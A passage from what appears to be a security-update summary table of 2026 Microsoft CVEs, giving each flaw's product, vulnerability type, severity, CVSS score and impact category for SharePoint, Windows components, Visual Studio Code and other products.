 No\n  No\n  EoP\n \n \n  CVE-2026-70355\n  Microsoft SharePoint\n  Server Elevation of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-62837\n  Microsoft SharePoint\n  Server Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-63514\n  Microsoft SharePoint\n  Server Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-63520\n  Microsoft SharePoint\n  Server Remote Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-64901\n  Microsoft SharePoint\n  Server Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-65658\n  Microsoft SharePoint\n  Server Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-65663\n  Microsoft SharePoint\n  Server Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-66805\n  Microsoft SharePoint\n  Server Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-66808\n  Microsoft SharePoint\n  Server Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58639\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-62829\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-62839\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-62917\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-63516\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-64897\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-64900\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-64902\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-64916\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-64922\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-65660\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-63512\n  Microsoft SharePoint\n  Server Tampering Vulnerability\n  Important\n  6.5\n  No\n  No\n  Tampering\n \n \n  CVE-2026-65767\n  Microsoft Teams for\n  Android and iOS Spoofing Vulnerability\n  Important\n  8.8\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-65769\n  Microsoft Teams iOS\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-65768\n  Microsoft Teams Remote\n  Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-66804\n  Microsoft Windows\n  Cross Device Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-59135\n  Microsoft Windows\n  Search Component Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-65814\n  Microsoft Windows\n  Storage Port Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-70310\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58651\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-6726 *\n  MITRE: CVE-2026-6726\n  TPM 2.0 Improper Object Slot Reuse\n  Important\n  7.9\n  No\n  No\n  \n \n \n  CVE-2026-6727 *\n  MITRE: CVE-2026-6727\n  TPM 2.0 RSA OAEP Timing Side-Channel Vulnerability\n  Important\n  5.9\n  No\n  No\n  \n \n \n  CVE-2026-65811\n  Power BI Remote Code\n  Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-68809\n  Powerpoint Information\n  Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-70312\n  Powerpoint Information\n  Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-70316\n  Powerpoint Information\n  Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-70320\n  Powerpoint Information\n  Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-70322\n  Powerpoint Information\n  Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-70325\n  Powerpoint Information\n  Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-59119\n  PowerShell Elevation\n  of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-58612\n  PowerShell Information\n  Disclosure Vulnerability\n  Important\n  7.4\n  No\n  No\n  Info\n \n \n  CVE-2026-65671\n  Remote Access API\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-65672\n  Remote Access API\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-42976\n  Remote Access\n  Management service/API (RPC server) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-59134\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-61352\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-61363\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-54113\n  Remote Procedure Call\n  Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-62781\n  RPC Runtime Library\n  Remote Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-59125\n  Virtual Hard Disk\n  (VHD) Miniport Driver Elevation of Privilege Vulernability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-47285\n  Visual Studio Code\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54981\n  Visual Studio Code\n  Python Extension Security Feature Bypass Vulnerability\n  Important\n  7.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-59113\n  Visual Studio Code\n  Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-69320\n  Visual Studio Code\n  Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-70336\n  Visual Studio Code\n  Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58650\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  7.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-69278\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  7.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-69306\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  8.2\n  No\n  No\n  SFB\n \n \n  CVE-2026-62743\n  Win32k Information\n  Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-62746\n  Win32k Information\n  Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-62786\n  Win32k Information\n  Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-62798\n  Win32k Information\n  Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-61358\n  Windows Accessibility\n  Infrastructure (ATBroker.exe) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49179\n  Windows Active\n  Directory Domain Services Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-61348\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-70307\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-65778\n  Windows Autopilot\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-65779\n  Windows Autopilot\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-65780\n  Windows Autopilot\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-65781\n  Windows Autopilot\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-65782\n  Windows Autopilot\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-65783\n  Windows Autopilot\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-62908\n  Windows Backup Engine\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-61927\n  Windows Bind Filter\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-61934\n  Windows Bind Filter\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62705\n  Windows Bind Filter\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-62722\n  Windows Bind Filter\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62713\n  Windows Cloud Files\n  Mini Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62771\n  Windows Cloud Files\n  Mini Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62728\n  Windows Common Log\n  File System Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-62772\n  Windows Container\n  Isolation FS Filter Driver (unionfs.sys) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62775\n  Windows Container\n  Isolation FS Filter Driver (unionfs.sys) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-72971\n   Windows Container Isolation FS Filter Driver\n  (unionfs.sys) Tampering Vulnerability\n  Important\n  5.5\n  No\n  No\n  Tampering\n \n \n  CVE-2026-61936\n  Windows Defender\n  Firewall Service Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-62710\n  Windows Device\n  Association Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62747\n  Windows Device\n  Association Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-65785\n  Windows DHCP Client\n  Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-62736\n  Windows DHCP Client\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62755\n  Windows DHCP Client\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-61361\n  Windows DHCP Client\n  Remote Code Execution Vulnerability\n  Important\n  7\n  No\n  No\n  RCE\n \n \n  CVE-2026-62761\n  Windows DHCP Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62776\n  Windows DHCP Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62803\n  Windows DHCP Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62807\n  Windows DHCP Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62812\n  Windows DHCP Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62714\n  Windows DHCP Server\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-62715\n  Windows DHCP Server\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-62716\n  Windows DHCP Server\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-62718\n  Windows DHCP Server\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-62720\n  Windows DHCP Server\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-62742\n  Windows DHCP Server\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-62745\n  Windows DHCP Server\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-62814\n  Windows DHCP Server\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-61923\n  Windows Display\n  Enhancement Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62769\n  Windows DNS Elevation\n  of Privilege Vulnerability\n  Important\n  6.7\n  No\n  No\n  EoP\n \n \n  CVE-2026-62778\n  Windows DNS Elevation\n  of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-62881\n  Windows DNS Elevation\n  of Privilege Vulnerability\n  Important\n  6.7\n  No\n  No\n  EoP\n \n \n  CVE-2026-62883\n  Windows DNS Elevation\n  of Privilege Vulnerability\n  Important\n  6.7\n  No\n  No\n  EoP\n \n \n  CVE-2026-65795\n  Windows DNS Elevation\n  of Privilege Vulnerability\n  Important\n  6.7\n  No\n  No\n  EoP\n \n \n  CVE-2026-65797\n  Windows DNS Elevation\n  of Privilege Vulnerability\n  Important\n  6.7\n  No\n  No\n  EoP\n \n \n  CVE-2026-65798\n  Windows DNS Elevation\n  of Privilege Vulnerability\n  Important\n  6.7\n  No\n  No\n  EoP\n \n \n  CVE-2026-65799\n  Windows DNS Elevation\n  of Privilege Vulnerability\n  Important\n  6.7\n  No\n  No\n  EoP\n \n \n  CVE-2026-70304\n  Windows DNS Elevation\n  of Privilege Vulnerability\n  Important\n  6.7\n  No\n  No\n  EoP\n \n \n  CVE-2026-70330\n  Windows DNS Elevation\n  of Privilege Vulnerability\n  Important\n  6.7\n  No\n  No\n  EoP\n \n \n  CVE-2026-61920\n  Windows DNS Server\n  Remote Code Execution Vulnerability\n  Important\n  6.6\n  No\n  No\n  RCE\n \n \n  CVE-2026-62787\n  Windows DNS Server\n  Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-61932\n  Windows DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62888\n  Windows DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62894\n  Windows DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-61933\n  Windows DWM Core\n  Library Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-62703\n  Windows DWM Core\n  Library Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-59128\n  Windows Encrypting\n  File System (EFS) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-59126\n  Windows Event Logging\n  Service Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-59137\n  Windows Event Logging\n  Service Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-61347\n  Windows Event Logging\n  Service Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-61360\n  Windows GDI\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-65662\n  Windows GDI\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-62709\n  Windows GDI+\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-62702\n  Windows Graphics\n  Kernel Denial of Service Vulnerability\n  Important\n  6.8\n  No\n  No\n  DoS\n \n \n  CVE-2026-61346\n  Windows Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-62774\n  Windows Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-61928\n  Windows Hello\n  Tampering Vulnerability\n  Important\n  5.5\n  No\n  No\n  Tampering\n \n \n  CVE-2026-62750\n  Windows HTTP Protocol\n  Stack Tampering Vulnerability\n  Important\n  6.5\n  No\n  No\n  Tampering\n \n \n  CVE-2026-61937\n  Windows HTTP.sys\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62735\n  Windows HTTP.sys\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62739\n  Windows HTTP.sys\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62741\n  Windows HTTP.sys\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62753\n  Windows HTTP.sys\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-62811\n  Windows HTTP.sys\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-61368\n  Windows Hyper-V\n  Information Disclosure Vulnerability\n  Important\n  5\n  No\n  No\n  Info\n \n \n  CVE-2026-62740\n  Windows Imaging\n  Component Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54984\n  Windows Imaging\n  Component Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-59127\n  Windows Installer\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-61925\n  Windows Installer\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-61938\n  Windows Installer\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-62768\n  Windows Installer\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-65774\n  Windows Installer\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-70344\n  Windows Installer\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-70345\n  Windows Installer\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-70346\n  Windows Installer\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-70347\n  Windows Installer\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-65681\n  Windows iSCSI Target\n  Service Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-65796\n  Windows iSCSI Target\n  Service Denial of Service Vulnerability\n  Important\n  5.9\n  No\n  No\n  DoS\n \n \n  CVE-2026-65679\n  Windows iSCSI Target\n  Service Remote Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-62752\n  Windows Kerberos\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62754\n  Windows Kerberos\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62766\n  Windows Kerberos\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-62773\n  Windows Kerberos\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-61929\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-61930\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62708\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  6.4\n  No\n  No\n  EoP\n \n \n  CVE-2026-62737\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62749\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-62780\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-62788\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-65773\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62785\n  Windows LDAP -\n  Lightweight Directory Access Protocol Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-62795\n  Windows LDAP -\n  Lightweight Directory Access Protocol Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-62777\n  Windows License\n  Manager Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50472\n  Windows LUA File\n  Virtualization Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-62738\n  Windows Management\n  Instrumentation Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-70348\n  Windows Management\n  Services Denial of Service Vulnerability\n  Important\n  5.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-62717\n  Windows Message\n  Queuing Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62719\n  Windows Message\n  Queuing Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-65790\n  Windows Message\n  Queuing Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62688\n  Windows MIDI Service\n  Module Elevation of Privileges Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62693\n  Windows MIDI Service\n  Module Elevation of Privileges Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-62707\n  Windows Modern Device\n  Management (MDM) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56174\n  Windows Narrator\n  Braille Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-61366\n  Windows Network\n  Connection Broker Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-68819\n  Windows Network File\n  System Denial of Service Vulnerability\n  Important\n  5.9\n  No\n  No\n  DoS\n \n \n  CVE-2026-62700\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62797\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62880\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-61350\n  Windows NTFS\n  Information Disclosure Vulnerability\n  Important\n  4.6\n  No\n  No\n  Info\n \n \n  CVE-2026-62793\n  Windows NTFS\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-62796\n  Windows NTFS\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-62887\n  Windows NTFS\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-65784\n  Windows NTFS\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-68821\n  Windows Package\n  Manager Elevation of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-62696\n  Windows Program\n  Compatibility Assistant Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62751\n  Windows Projected File\n  System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62690\n  Windows Push\n  Notifications Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-62758\n  Windows Remote Access\n  Connection Manager Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62783\n  Windows Remote Access\n  Connection Manager Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-61918\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-61921\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-61924\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-61356\n  Windows Remote Desktop\n  Services Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-61364\n  Windows Remote Desktop\n  Services Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-61365\n  Windows Remote Desktop\n  Services Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-61367\n  Windows Remote Desktop\n  Services Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62692\n  Windows Remote Desktop\n  Services Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62779\n  Windows Schannel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62757\n  Windows Schannel\n  Security Feature Bypass Vulnerability\n  Important\n  5.3\n  No\n  No\n  SFB\n \n \n  CVE-2026-61355\n  Windows Sensor Data\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62770\n  Windows Shell\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62799\n  Windows SMB Client\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62782\n  Windows SMB Client\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-65794\n  Windows SMB Client\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-62790\n  Windows SMBv3 Server\n  Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-62800\n  Windows SMBv3 Server\n  Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-61359\n  Windows Storage\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62695\n  